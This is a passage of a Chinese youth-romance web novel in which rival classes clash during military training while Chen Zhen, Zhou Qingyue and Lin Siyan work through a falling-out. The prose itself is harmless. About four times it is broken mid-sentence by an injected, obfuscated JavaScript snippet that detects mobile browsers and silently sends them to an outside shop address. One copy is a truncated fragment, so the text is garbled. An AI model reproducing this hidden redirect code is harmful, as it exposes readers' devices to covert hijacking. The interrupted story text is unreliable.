脑海里想像着那个笨蛋拿着东西跑来和他道歉,一边说一边骂林斯言不是个好东西,然后再把那盒曲奇丢地上踩两脚,最后顺滑地扔进垃圾桶里。 周清越突然就不烦了。 越想越开心,他偷偷拿出手机,点开陈真的微信,准备给她发了个消息。 打了个“在吗?”,太蠢了,不行,删掉。 又打了一句:你睡了没?太刻意了,不行,删掉。 删来删去,别别扭扭不是他的风格,他想说什么就发什么好了—— AAA南川第一冷酷:我决定原谅你了。 前提是你把那盒……字还没打完,他的手指停滞,后知后觉看着手机屏幕。 整个人都顿住了。 如果他没看错的话。 [我决定原谅你了(红点感叹号)] 底下还跟着一行字: [消息已发出,但对方已拒收。] 周清越忽地坐起身,不可置信地看着手机页面的那一行字。 那家伙,居然,把他拉黑了? 本来淡出他听觉的老风扇的转动声和蝉叫嘶鸣,此刻重新一声一声放大。 …… 烦死了! 他臭着脸,越想越气。 然后在这个充斥着风扇与蝉叫的交响曲的午后,对床的林斯言也“腾——”一下坐了起来。 他也是一脸的烦闷。 于是,两个脸色都臭到不行的人,各自拿着学校明令禁止的手机,就这么对上了视线。 * 经过愤怒、生气、不解、平静等一系列情绪之后。 周清越后悔了。 虽然那个笨蛋今天确实伤到他的心了,可是她也主动找他了,是他太能装,非要把她气走,现在又开始后悔。 当时明明可以和好的。 得想个办法。 事实证明,发呆太久是个很危险的事情。二十八班正在练齐步走,以排为单位,一排排走。到周清越那一排的时候,他都没意识到,甚至别人都走出去了,他还站着原地。 等他反应过来时,已经晚了。 教官把他发配到“罚跑小队”里,所谓罚跑小队,就是整个南营地14个班里的“刺头”,被揪出来绕南营地跑圈,随着人员的壮大,变成一长串的人跑圈,于是这个队伍就被称为“罚跑小队”。 然后,周清越在“罚跑小队”里看见了谢白。 ……要不说他俩有缘分,这种事都这么有默契。 谢白:“我觉得我们有点暧昧了。” 周清越插进队伍,跟着一起跑:“别逼我骂你。” “你骂得还少?” 周清越没心思理他,想着怎么跟陈真那个家伙和好,同时不显得他上赶着。 忽然想起,她好像说过——“如果你要吃,那我可以给你。” 她当时就是这么说的,可他看着那盒曲奇,简直想把它踩成渣才能泄愤,居然还要他吃?这和让他去垃圾桶翻吃的有什么区别? 可他去要的话,相当于给那个笨蛋台阶了,而且还不用担心她脑子一抽真的去吃那盒曲奇,一举两得!可是,如果他亲自去,她说不定压根不想理他。 想来想去,他忽地笑了,抬手一把勾过前面谢白的肩膀,语气颇为大义凛然。 “你去跟她说,我吃。” * 盛夏的下午太阳毒辣,大地被蒸腾得热气腾腾,好不容易等到休息时间,所有人都坐在树荫底下乘凉。 陈真和许愿找了一块阴凉地坐下,许愿中午走得急没带书包,连带着包里的MP3也没带过来,于是陈真把她的书包塞到许愿怀里,里面有她偷偷藏起来的手机和有线耳机。 陈真认真地教许愿怎么悄悄用手机听歌,要戴着帽子,头要埋下去,手机放在书包里,拉链开一个小口子把耳机线拿出来,这样就不会被发现了。 “那我先去小卖部买瓶水。”陈真说。 “好。” 陈真走后,许愿按照她教的,怀里抱着书包,头埋在书包上,戴上耳机,闭上眼睛。 耳机里是随机播放的一首歌,五月天的《知足》。 “怎么去拥有一道彩虹 怎么去拥抱一夏天的风 ……” 她闭着眼睛,安静感受着悠扬宁静的调子。 这首歌像是一个时空穿梭机,将她带回初一那年的夏天,也是这样的一个盛夏,也是这样的一个下午,学校的老旧广播也这样放着《知足》,他出现了。 是她不敢奢求的彩虹,是她不敢拥抱的夏天的风。 她有时很喜欢闭上眼睛去听一首歌,不用去面对无聊又复杂的现实世界,可以安心地栖息在内心的丰富世界,那里面什么都有,有她爱的一切美好事物。 那里面,她可以和家里人围坐在一起,吃一顿热腾腾年夜饭,她可以和交心的好朋友窝在被窝里看一晚上的恐怖片,可以放声大笑肆意尖叫,她可以和他在一个下雪的冬季,坐在公园的长椅上,一起听《知足》。 虽然她很明白,这在现实世界不可能实现,但能想象一下,她已经满足了。 很小的时候她就明白,人世间有许多的不可得。 所以她格外知足。 * 谢白走到一班的时候,扫了一圈,没有看见陈真。 这个狗周清越,他一边找人一边在心里骂,要不是周狗说把他的限量版赛车模型送给他,不然无论如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562524|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何他也不会走这一趟。 他真心觉得,陈真,克他。 他望了许久,终于看到了。树荫下一个女孩怀里抱着书包,戴着帽子,脑袋埋得低低的,风吹动她乌黑的头发,稍微细看还发现她耳朵戴着耳机。 谢白认出那是陈真的包,会这样偷偷听歌的,也只有陈真了,即使看不见脸,但他知道看到是陈真。 朝陈真走过去的路上,想起她对自己的恶劣态度,谢白突然起了坏心思,打算吓她一下。 哼哼,陈真,叫你平时那么让人讨厌。 他擒着一抹得逞的笑意,悄悄弯下腰,然后一把摘过她右耳的耳机,特别自然地戴进自己耳朵里。 “陈真你用手机听歌,小心我举——” 他的声音停住了,因为那一秒女孩错愕地抬起头,撞进他的眼睛里。 午后的风撩起她额前的碎发,明眸似水,像雨后的云卷云舒的天空,澄澈而明亮。 二人都惊讶哑然地看着对方。 一时之间,安静无风。 只有耳机里的歌还在悠悠地播放,通过同一个耳机传进两个人的耳朵里。 在这个盛夏的午后。 ——如果我爱上你的笑容 ——该怎么收藏该怎么拥有 * “怎么样?”周清越一放学就背着包,一路飞奔到十六班。 “不怎么样。”谢白板着张脸,一脸地不爽,挎上包抬脚就走。 看样子气得不轻。 周清越跟上去:“发生什么事了?” 谢白停下脚步,郑重其事地看着他:“如果我再帮你去跟陈真说话,我就是《喜羊羊与灰太狼》里面的那个黑蛋!” “人家叫黑大帅。” “我管他什么黑帅白帅、大帅小帅的,反正我不可能再因为你,去和陈真这个人产生任何交集。” 黑大帅和潇洒哥这个东西说来话长,是他和谢白小时候某一天看动画片,突发奇想决定两人之间必须有一个当黑大帅,另一个当潇洒哥。结果就是大吵一架,因为两人都不愿意当黑大帅,觉得他又黑又邪恶。 所以后面就演变成了他们之间的一个梗。每次吵架就会用到,包括但不限于: 绝交!谁先和好谁就是黑大帅! 如果我再理你,我就是黑大帅! 你保证,说到做到,骗人是黑大帅! …… 这个梗他们都很久没用了,毕竟觉得有点幼稚,没想到谢白被气到小时候的梗都想起来了。 能把谢白气成这样的,大小也算个人才了。 很明显,陈真就是这个人才。 “你知道她说什么吗?她居然说我对她朋友图谋不轨!说我光天化日之下耍流氓,拜托,我?需要耍流氓?” 周清越愣了,这又是哪跟哪,他居然听不懂了。 “我还没说她对你耍流氓呢!” “她也没对我耍流氓啊。” “周清越,从小到大她对你耍的流氓还少?” 嘶,按他这么一说,好像确定是这样。 不对,话题怎么越拉越偏了? 周清越反应过来,问:“我叫你问要的饼干呢?” 谢白从气愤中稍稍回过神,看向周清越:“什么饼干?” 11. 十一颗星星 军训仍旧如火如荼地开展,陈真和周清越遇见的次数屈指可数,因为一班的二十八班的据点相差十万八千里,除非专门去找,不然几乎不可能见到。 而且就算是少得可怜的那几次偶遇,陈真也是看见周清越就绕道走,她说不清是什么心理,只知道自己很难面对他,不见面就是最好的安排。 军训运动量不大,时间很紧张,每天都有特别多的事情要做,赶着去吃饭,赶着去洗澡,赶着去晨练……日子被口令、阳光、汗水和奔跑塞满,每天晚上一躺到床上,只剩下困意,没精力去想别的事情,身体很累,心却越来越明亮。于是渐渐忘记那些生活中边角料的小事,每一秒都活在当下,充实而饱满。 朝着太阳练习敬礼的时候,看着那灿烂刺眼的光芒,她突然觉得这平凡的日子有了些神圣感。 忽然想起有谁说过,为什么进入高中的第一件事就是军训,因为军训可以磨炼意志,告别初中,变得更坚强而勇敢,去正式迎接人生的新阶段,许多重要的人生阶段都会有一个节点,那么这段日子也算是一个节点吧。 立正、稍息、敬礼、礼毕、跨立……每一个动作都随着次数的堆叠变得越来越熟练,有些东西产生了潜移默化的升华,不明显也看不出来,陈真觉得是内在的变化,她能感受到。 “齐步——走!” “一二一、一二一、 左右左、对整齐、 一二一……” 蔚蓝的天空高远明澈,太阳高挂,毫不留情地将炙热的阳光照射而下。 一如往常的训练,教官喊着口令,练习齐步走,每踏一步都伴随洪亮朝气的口号声,一步一响,一步一震,颤动着大地,四面八方的声响充斥在宽阔的训练场,这些声音混在一起,却又井然有序,溢满蓬勃的生命力,少年气到底是什么,是“欲与天公试比高”傲气,是“我自踏雪至山巅”的意气,是“诗酒趁年华”的生气? 不,那些都太抽象太遥远,陈真想,真实的事物才有触动人心的力量,要她说,少年气是宁愿喊破嗓子也要和隔壁班比比谁的声音更大,是互相嫌弃着汗臭却又犯贱似地跑去闻闻对方,是为了抢一口饭奔跑出博尔特的气势,是我骂我的教官可以但你不能跟我一起骂,是不知所谓的人做一些不知所谓的事情。 有点傻,有点没有意义,但她爱自己身上的那点不知所谓。 突然一声嘹亮短促的口哨声从场地中间响起,划破天空。 那是叫教官们集结的哨声。 “立——定!”李教官立马下达指令。他看向营地中央,然后拿起挂着脖颈的哨子,短促地吹了一声,所有人才敢如释重负地放松下来。 “原地休息,等我回来。”说完,他跑向哨声来处。 虽然每个人都很渴,但是教官说的话大家都听讲了耳朵,所以没有一个人乱走,陈真也席地而坐,用手扇风,消散下午腾腾的暑气。 前面的庞欣畅靠过来,明知故问:“累不累?” “累。”陈真顺势靠到庞欣畅肩膀上。 庞欣畅开始说起听到的八卦,哪个班的谁谁谁和谁谁谁刚开学就谈上了,哪个班的班主任特别漂亮啦,某个班和某个班吵起来啦……她的声音连续不断飘过陈真的脑袋上空,絮絮叨叨,像是遮暑的云。 陈真靠在她肩膀上静静听着,就像是一个悠长假期的下午,惬意自在,不由自主缓缓闭上眼睛。 “嗐!还有我们那个班长,看着就容易被欺负,你说要是我们班也和别班吵起来,他不得哭鼻子?唉,真是想想就丢脸啊……” “嗯……”陈真迷迷蒙蒙地回应着。 “哦!对了!”她一激动,没控制好力度,把陈真的背当桌子,猛地一掌拍下去。 陈真的眼前已经出现了被彩色糖果包裹的精致城堡,兔子小姐已经拿着粉色棉花糖蹦蹦跳跳邀请她:“啊呀啊呀猫猫小姐,你终于来啦,我等你好久了,这是我们两个的城堡,我知道你一定喜欢,快进——” 啪叽—— 庞欣畅一掌下来,糖果城堡不见了,兔子小姐不见了,棉花糖也没有了。 她皱着眉,准备哭一下来表示对兔子小姐失约的难过,可实在没眼泪,于是作罢。 “我跟你说一个贼劲爆的事情!” 陈真幽幽看向庞欣畅。 如果不够劲爆,她、她明天中午就不帮她在食堂占座了!说到做到! “你知不知道啊?”庞欣畅问道。 “什么事啊。” “就周清越的事情啊!你肯定比我了解得多啊,你跟他那么熟,快跟我说说!” 她慢慢眨了眨眼睛,那家伙能有什么事啊:“我不知道。” 庞欣畅有点惊讶,她都知道的事,陈真居然不知道? 庞欣畅消息广,总能知道很多小道消息:“听说在北营地都传开了,也就我们南营地还不知道。” 陈真随口问:“怎么了?” 庞欣畅看起来很激动,回忆了会儿,开始激情讲述:“他昨天被表白了,轰轰烈烈的,整个北营地都知道,那个女生给他买了一堆的东西,听说还挺贵的,而且写了一沓的信!” 她上下比划了一下:“听说这么厚。” “你知道最重要的是什么吗?她开学才认识的周清越!拜托,这么短的时间写这——么厚一沓的信啊……” 心像是被缠绕的丝线扯了一下,陈真没有表现出来:“哦。” “你不意外?” 这个消息其实完全在她意料之中,她把帽子拿下来,盖在脸上,挡住阳光,回道:“很正常啦。” 庞欣畅仍旧惊讶:“哪里正常了?” 旁边徐静宜特别怕太阳晒,一度晒到自闭不想说话,刚刚休息缓了缓,这会儿恢复过来,也凑过来:“聊什么呢?” “周清越昨天被表白了,我觉得不可思议,这才开学几天。” “我也觉得挺正常的。”徐静宜说。 “有个词叫做一见钟情,”徐静宜也坐下来,靠到庞欣畅的肩膀上:“况且,对周清越一见钟情不是件很容易的事情?” “瞎说,陈真就没有一见钟情啊。” “我算例外吧。”陈真闭上眼睛,浅浅呼吸着。 思绪飘远,回想起许多画面。 “从我认识他开始,已经记不清帮别人给他递了多少封情书了。”一封又一封,几乎没有间断过。 她喃喃自语:“有时候,真的挺讨厌和他认识的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562525|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可能他也讨厌和她认识吧。 她默默地想。 盛夏的蝉鸣高亢激昂,陈真闭上眼睛,听着那没有休止的蝉声,困意渐渐袭来。就在意识即将消失准备睡着的时候,一声哨声让她惊醒。 “集合!”教官吹着哨子,声音从远处传来。 松散随意的学生们立刻站起身,整理队形。 李教官小跑过来,等了十几秒,一班队伍快速恢复到整齐划一的队形。 “立正!” “稍息!” 喊完口令,李教官严肃的神情稍稍放松了一点,看起来是要说一些事情。 他背着手,思考了一下,说道:“有一个最新消息,跟你们说一下啊。” “好消息还是坏消息?”有学生问。 李教官说:“好消息。” “那快说快说!” “好消息就是,由于二十八班的教官要去负责合唱团的事情,所以经过协商,从今天晚上开始——你们班和二十八班一起训练,都由我来带!” 话音刚落,学生之间顿时一阵抱怨和骚动,大家交头接耳。 “我们班和二十八班是有什么孽缘吗?这都能扯一块。”庞欣畅啧道。 徐静宜:“这或许就叫前世修来的缘分。” “这算哪门子好消息嘛……”有人嘟囔。 “他们干嘛不和27班一起训练?”队伍里有人说道。 紧接着有人附和:“是呀是呀,干嘛非要和我们班一起。” 李教官觉得有些好笑,于是问道:“奇了怪了,你们怎么这么排斥人家?” “教官你不知道吗,学霸都很傲的,听说二十八班很不好相处。” “对,听说二十八班很霸道。” “他们就是和二十七班闹掰了才被分过来的!” 听到这话,李教官不再是一副开玩笑的神情,而是正色道:“你们不要先入为主,也不要有排外心理,这都是不对的,大家都是同学,要和平相处知不知道?” 大家都不回答。 “知不知道!” “知道了……”声音大了些,但还是不情不愿。 陈真呼了呼气,神色不太好。28班要来,那她就要面对不想面对的人,她不想看见林斯言,也不想看见周清越。 她皱了皱眉,都不想看到。 晚上夕阳落下,天幕渐黑,昏黄的路灯一个个亮起,宣告着夜晚的正式降临。 吃完饭休息了一下,陈真她们就像平常一样到据点集合,到达一班集合点到时候,陈真发现明显多了一些脸生的面孔,应该是二十八班的人,他们站在一块,和一班的人划出一条泾渭分明的界限。 上次做他们班车的时候陈真就发现了,二十八人很少,大概就三十个,听说是学校给顶尖学霸们实行小班教学,所以人数划得特别少。 这过分强烈又心照不宣的距离感,与周围交流时会偶然与对面班的人互相对上视线,眼神里都是不怀好意,这是一个没有硝烟的战场,陈真穿梭在其中,只觉得还未开战火药味已经弥散开来。 冲突一触即发,只需等待一个时机,彻底爆发。 人群中,陈真一眼看到了那个熟悉的身影。 12. 十二颗星星 他站在树下,树影在他身上明暗交叠,晚风吹过,树影晃动,他笑了一下,眼前的画面变得生动盎然。 陈真突然很想喝加冰薄荷苏打水。 他旁边站着一个女生,那个女生穿着军训服,扎着简单利落的高马尾,但她身上散发着与众不同的气质,像是弥漫在空气中淡淡的嘉伯丽尔香水味,不用细嗅,晚香玉的中调就扑了过来,让人无法忽视。 路灯昏黄,看不清楚她的脸,只觉得模糊又美丽,她背挺得很直,单手插兜,另一只手拿着一沓纸,递到周清越面前。 周清越接过,稍低下头看起来,两人看着那一沓纸交流起来,说到重要的地方会看向对方,时不时点点头。 不知道说到什么,女生被逗笑了,朝前走了半步,离他更近。 陈真没有特地停下来看他,只是跟着许愿的脚慢慢走着,她和他之间隔了许多许多的人,人影幢幢,像是被模糊掉的虚影,随着她的脚步,他在树下的身影跟着或明或暗。 像是有某种特殊的感应,周清越觉得心上绕了绕,他几乎下意识地抬头,朝右侧的望去。 他的目光穿过人群和夜色,准确落到她眼里。 二人的视线交汇,只有短短两秒,却又好像过了很久很久,久到像他们没见面的这一百多个小时,久到陈真收回了目光。 她没有多看他,因为她这几天实在兴致缺缺,没心情和他像以往一样进行对视较量。如果非要算个输赢,那就当他赢了,她输了吧。 只不过他好像微微张了张嘴,好像叫了她的名字,可惜离得太远,她看不清也听不清。 李教官到据点的时候,两个班各占一半,中间隔的距离开进去一辆大卡车都畅通无阻的那种宽敞。 他有一种不好的预感,但还是镇定指挥道:“中间隔这么远干什么,靠拢!” 过了一会儿,两边十分默契,谁都没动一下。 李教官眉皱得更深了:“听不懂指令吗?靠拢!” 窸窸窣窣的交头接耳声慢慢由低到高地响起来。 “报告教官!”李明扬作为班长,主动站出来说出一班学生的共同心声,“我们是按照平时的位置站的,是二十八班不靠过来。” 李教官看了看位置,确实像李明扬说的这样,于是他又侧头看向二十八班的方阵:“二十八班班长。” “报告教官。” 一个女生的声音从方阵中传来,昂扬有力,应该是二十八班的班长,她一个标准踏步,从列队里走出来。 是她?刚刚和周清越聊天的那个漂亮女生。她稍稍侧头,看向李明扬,声音像夜幕下不急不徐涌向岸上的海水,静静地,带着隐隐地压迫感: “按照一班班长的说法,一班站在原来的位置,那就说明根本没打算给我们班留位置咯。不得不说,一班很团结,团结到——有点排外了。” 她字字珠玑,平静而淡定:“既然一班这么不待见我们,我们自然离得远点,省得又说我们抢了地盘。” “报告教官!”李明扬平时特别好脾气,几乎不跟人生气,但要牵扯到班级的事情,他也不是任人拿捏软柿子,于是他大大方方对上二十八班班长,不卑不亢道: “二十八班看来是霸道惯了,之前抢了二十七班的地盘被人家告了,现在把气撒在我们班身上,无能狂怒罢了,是认为我们班比二十七班好欺负吗?是,你们很优秀,学校给你们开了很多特权,但不是让你们来秀优越感的。最后,我们不是学校,不会惯着你们。” 李明扬一股京腔味,还特地在最后几个字上加重了语气,语调有种莫名的傲气。 庞欣畅在旁边小声地说:“解气!” 徐静宜:“想不到班长这么能说!” 说实话,两个班这么针尖对麦芒不是没有原因的,陈真也感觉很爽快,在她的视野里二十八班就是很——傲慢。 开学第一天,各班要整理座位,多出来的座椅按理要放回五楼的杂物间,可那天管杂物间的老师不在,一时半会开不了门。于是陈真和几个同班的同学就去和二十八班商量,能不能借用一下他们的另一个教室,因为学校给二十七和二十八班各自安排了两个教室,陈真想着他们人那么少,一个教室都够坐了,暂时借用一下他们另一个教室应该完全没问题。 可这完全没问题的事情到了二十八班那,就成了完全有问题。他们觉得那个教室是学校分给他们的自习室,而且也是他们打扫干净的,凭什么要给别班当杂物间。两方人各有各的道理,僵持不下,甚至后面吵了起来,把教导主任都招来了。 最后的结果,是让一班把多余的桌椅搬回自己班,即使他们班的过道已经很挤了,即使二十八的教室空空荡荡。 陈真气不过,非要跟他们班班长理论,但最后来的是一个男生,他们班的副班长,他跟陈真说:“如果你觉得不公平,那就考到五楼来,到时候你就会觉得公平了。” 那天晚上她就发消息给林斯言,问他成绩就可以完全定义一个人吗?就可以给人分三六九等吗?这公平吗? 林斯言过了许久才回她:你还记得我们之前玩的游戏吗? 她问:哪一个? 林斯言回:每一个。我们玩的每一个游戏都有它的游戏规则,而且每个游戏的规则都不尽相同,但不管是哪个一个,只要选择了这个游戏,只要你想要赢,就要遵循它的规则去玩不是吗? 林斯言:而在川高,成绩就是它的评判标准,或者说,我们选择了普通高考这个游戏,就要按它的规则来玩,川高只是在教我们适应这个规则。回到你的问题,是否应该只用成绩定义一个人?从上述的角度来看,我觉得在为高考备战的这段时间,暂时被成绩定义很正常,无所谓公平不公平。 她想起二十八班副班长跟她说的那句话:如果觉得不公平,那就考到五楼来,到时候你就会觉得公平了。 我们常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562526|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常觉得不公平,到底是因为我们不是既得利益者,还是站在绝对中立的角度看问题?如果换一下位置,还会保持一样的看法吗?许多事似乎不同的人都有不同的解读。 她那时突然觉得世界是混沌的,就像人不是非黑即白的,许多事也不是非对即错的,往往没有标准答案,也没有绝对的是非对错。 她想,也可能是她还没找到答案,那个能让她豁然开朗的答案。 李明扬说完,周遭静了静,但很显然二十八班班长也不是省油的灯。 “报告教官。”她说的是教官,眼神却放在李明扬身上,声音依旧没有什么波澜起伏,像是应对游刃有余的事情,“你作为班长,说的每一句话都带着偏见和敌意,这真的合适吗?况且我们也是按照学校要求分过来的,如果你还有什么不满,可以向学校反映,当然,如果你是对我个人不满,我们可以私下交流,没必要弄成两个班的敌对,对吗?” 陈真皱了皱眉,认真看向那个女生。 她很自信,很轻松,很淡然自若,可以说她完全没有理会李明扬说话的内容,因为那些内容是真实的而且她不占理,所以她没有自证,也没有反驳,没有被牵着鼻子走,而是很聪明地去攻击他人不占理的语气问题。然后再轻轻一句话将两个班的矛盾转移到一班和学校的矛盾上,把自己摘得干干净净,最后顺便打个圆场再攻击一下李明扬。错都是你的,场是我圆的,你说谁占理? 而且很微妙的,她这一段话的人称从“你们”变成了“你”,降低了攻击的难度,同时起到针对性打击的功效。 针对性的语言攻击,对个体更具杀伤力。 陈真担心看向李明扬,果不其然,他被惹恼了:“报告教官——” “停——”李教官无奈叫道。 他双手叉腰,微低着头,一副左右为难的样子,他着实没想到两个班这么不对付。 想了一会儿,他才抬起头协调道:“这样,都各退一步,一班过来一点,二十八班也过来一点,行不行?” 两个班还是不动,站在夜色中比夜灯还静。 陈真觉得僵持下去没有意义,看样子两个班都是犟种,最后等来的估计只有教官的怒火和年级主任的臭骂。好吧,可能不会骂二十八班,毕竟是学校的宝贝疙瘩,但自己班肯定要被骂的。 她不想被骂也不想被罚跑圈,今天已经够累了,她的身心真的受不起摧残了啊。 于是深吸一口气,在一众静默中,义无反顾地抬起脚,当第一个走向二十八班的人。 转身的那一刻,才发现对面有一个人,跟她一样,第一个朝一班走过来。 夜色浓重,路灯昏黄暗淡,那人的身形却十分熟悉,像是逆光走来。 他们的脚步意外的一致,在安静的场地各外清晰。 两人走到面对面的距离,互相看了对方一眼,然后一本正经地向左向右转,面向最前方,嘴角都勾起一个弧度。 13. 十三颗星星 我们好像正义使者啊。 小学三年级的时候,有一次几个三年级的女生说被六年级的欺负了,具体什么原因忘了,好像是六年级的几个女生在小卖部抢了她们想买的最后一盒编手链的绳子,这件事一传十,十传百,直到传得整个三年级都知道,然后就有人说要正式向六年级宣战,结果当然是没招揽到几个人,这几个傻子里面就有陈真和周清越。 正式开战那天,就陈真和周清越两个呆子一股脑往前冲,他俩战斗力还真不错,对面来了几个六年级的,还真就他们被打得嗷嗷叫,说以后再也不以大欺小了。 结果是六年级再也不和三年级抢编手链的绳子了,同时他们俩也被叫了家长。 当时两个人在走廊被罚站,陈真就跟周清越说了这句话:我们好像正义使者啊。 周清越看了她一眼,然后侧过头:“别这么笑,看着好傻。” 现在他们两个仍然像是小时候被罚站一样,两边是不动的人群,只有他们的影子映在中间的地上,被拉得很长很长,突兀又显眼。 * 最后还是李明扬主动说:“我们过去一点吧。” 一班这才主动挪了一半的距离。 这个场面,28班也没理由僵持下去,于是也不情不愿地挪了剩下一半距离。两个班都极其勉强,明明站在一起,却像太平洋与大西洋,即使相汇,也绝不相融,中间像是隔着一条隐形的分界线。 终于解决了队形的问题,李教官松了一口气:“那接下来,我们继续练齐步走。” 平常一班练齐步走都是一排一排地走,这样能更好地看到效果。 “第一排,齐步——走!”教官一会儿喊口号,一会儿吹哨子。 “一二一!一二一!一二……” “立定!” “看看你们的排面,走得歪七扭八,这个在南极,那个在北极!重新走!”李教官走到侧面,教训道。 空气本来就热,一热人就容易烦躁,那一排有二十八班的人抱怨道:“教官,我们都是看排头,一班排头走得都不对!一下快一下慢。” “就是啊,都走出右左右来了!” 排头的是个女生,平时就是说话轻声细语特别温柔,突然听到这么直接的指责,顿时觉得无比委屈,眼眶一下就红了。 庞欣畅就站在这排,她看不得女生哭,更看不得别班欺负自己班的人,于是直接对呛:“你们自己没长脑子啊,只会看排头吗?排头要打你,你是不是也要打自己啊?” 对面一下也怒了:“有没有搞错?你们一班说我们28班没脑子?要不要听听你自己在说什么!你们跟我们比脑子?” “你要骂就骂我,扯我们班干什么!” 李明扬也站出来:“就是,你骂我的人干嘛。” 果然是火药一旦撒下,再小的火星都能瞬间燃烧爆炸。 陈真把庞欣畅拉回来安抚,然后去找一开始找茬的人:“那我跟她换,我来站你们这排的排头,如果我走的没问题,但你们还是走得歪七扭八,你们就让我们骂,怎么样?” “……” 对面没有再说话,陈真也没纠缠。 大家都处于叛逆期与排外心理比较重的时候,会自觉将自己融入集体,以班为单位,划出界限,可能每个班都会有许多小团体,但一旦上升到班级,又会出奇地一致对外。 教官更是觉得头痛,他比较年轻,处理这方面的问题也没有什么经验。 到了统一休息的时间,教官要求两个班围成一个连续的大圈,中不能断开也不能距离太远。接着说自己有事,剩下的时间给大家自由发挥搞活动。 刚刚才吵了两大架的两个班,就这么被强行要求坐在了一起,围了一个很大的圈,面对面,大多低着头,毕竟一抬头就看着对面的人,宁愿玩鞋带都不说话,周围的空气都充斥着尴尬的气息。 教官这招真是叫杀人诛心,刚刚有多剑拔弩张、嚣张跋扈的一群人,现在就有多乖巧。 周围都不说话,陈真无聊到拔草,这些草是从水泥地的小小缝隙里钻出来的。她看着拔下来的那株草,开始想这株草的种子是怎么飞过来的,又怎么刚刚好落到这个缝隙里,她想它们一开始只是山间的一颗小种子,某天被一阵山风抱走,说带它们去外面的世界冒险,小种子们很开心,任由风将它们带往各处,于是它们飞啊飞,有些种子太调皮,它们挣脱了风的怀抱,从空中掉落去拥抱某一处土地,还有几颗种子不太幸运,刚好掉在水泥地的缝隙里,可他们没有气馁,而是扎根发芽,每天都很努力,十分顽强地从这个水泥地里长了出来。 然后,被她一把薅了下来。 想到这,感觉自己好像个邪恶的大反派,随手摧毁了顽强生长主角的希望。 于是她立马把拔下来的那株草插回水泥缝隙,在心里跟它道歉以及默哀。 就在她闭着眼睛专心致志做着仪式时,周围突然有了些声响。 她睁开眼,看见不知道什么时候,林斯言站了起来,走到了圆圈中间。 他的侧脸轮廓很清晰,月光一样皎洁,月亮一样清冷,好像可望不可即,有吸引人的魔力。 他说他想唱一首歌。 “但是,”他突然侧过头,看向陈真,“我一个人唱太没意思了。” 如同电流通过电线传向千家万户,顿时灯火明亮,他的话音刚落,许多声音都有浪潮一般涌现,从四面八方而来却又格外一致。 因为他们叫的都是她的名字。 突如其来的声音,让陈真愣住了。 旁边的庞欣畅几人也跟着起哄叫她的名字。 陈真想起上次他和她的朋友们聊得很好,也对,他一向最会收买人心,因为他如此有魅力不是吗。 她没回答,只是低头看着那株被她拔下来的小草,突然生出一股同病相怜感,就像这小草一样,好好长着,被她这个无聊的人一把拔了。 她好好坐着,突然被人一把薅了。 一抬眼,忽然望到了对面的那个人。 他微低垂着头,神情有些复杂。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562527|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个周清越,怎么也像被薅了似的,又不是叫他唱。 最终她还是抬起头,走了过去。 她也希望借这次机会,触碰到内心真实的想法。 看到她走过来,林斯言暗暗松了口气,但表面仍旧一副大方自如的神态。 “唱什么歌我希望我来定。”她说。 “好。”他应。 …… 唱完的时候,底下响起热烈的掌声、口哨声和起哄声,交织重叠,一浪高过一浪。 林斯言微微弯下腰。 “对不起,”他凑到她耳边轻声说了一句,又飞快地拉远距离,“别生我气了。 那一秒短暂得让人恍惚,只有耳边若有似无的温热感,轻轻的,痒痒的,恍然清晨醒来忘了昨晚做了什么梦。 陈真抬头,对上他的眼睛。 他笑得那么灿烂美好,她好像坠入他眼睛里的星海之间,不自觉沉溺其中,有些炫目,久久不能移开目光。 好像和之前对他心动的感觉没什么区别,可是心里的角落,又觉得缺漏了些什么,好像拼了许久的一张巨大拼图,拼到最后,发现少了最灵魂的那一小块。 她其实算不上生气,只有有点难过,而后有点疑惑和迷茫。如同坐在充满雾气的车里,看不清外面的界限,却还在飞驰向前,不知道前路是好是坏,是对是错。 陈真感觉自己是个功臣,至少因为两人带动了现场的氛围,虽然还是不太对付,但大家逐渐玩开,愿意上场。 